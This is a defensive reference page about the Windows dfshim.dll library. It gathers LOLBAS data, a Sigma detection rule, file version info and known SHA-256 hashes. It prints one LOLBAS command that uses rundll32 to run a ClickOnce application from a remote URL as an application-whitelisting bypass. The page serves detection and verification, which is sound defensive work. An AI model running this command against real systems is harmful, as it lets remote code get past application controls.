dfshim.dll

ClickOnce Application Deployment Support Library file version info (xCyclopedia)

LOLBAS AWL Bypass 1 ATT&CK technique 1 documented command 2 known copies with hashes

How dfshim.dll is abused

documented by LOLBAS

AWL Bypass T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce

Run by rundll32.exe: dfshim.dll,shopenverbapplication

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for dfshim.dll.

1 documented command

from LOLBAS, each read by the identifier

AWL Bypass T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce User privileges

Executes click-once-application from URL (trampoline for Dfsvc.exe, DotNet ClickOnce host)

rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}

Identify

Trips 1 Sigma rule: mediumPotentially Suspicious Rundll32 Activity by juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for dfshim.dll, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for dfshim.dll. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

T1127.002Trusted Developer Utilities Proxy Execution: ClickOnce

Is it the real dfshim.dll?

file version info and known copies

Installed inC:\Windows\system32\
C:\Windows\SysWOW64\

Signed byMicrosoft Windows

ProductMicrosoft Windows Operating System, Microsoft Corporation

DescriptionClickOnce Application Deployment Support Library

2 known copies

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\dfshim.dll · signed by Microsoft Windows

65cb5a9e02a25267ac0cedd9ca048dfe45c38b8d0fd224773450f9799bda7fb0

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\dfshim.dll · signed by Microsoft Windows

785cd48d1b1046a69224913e17f229ed7b32e4608752c60ddb8cc77d38509f29

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.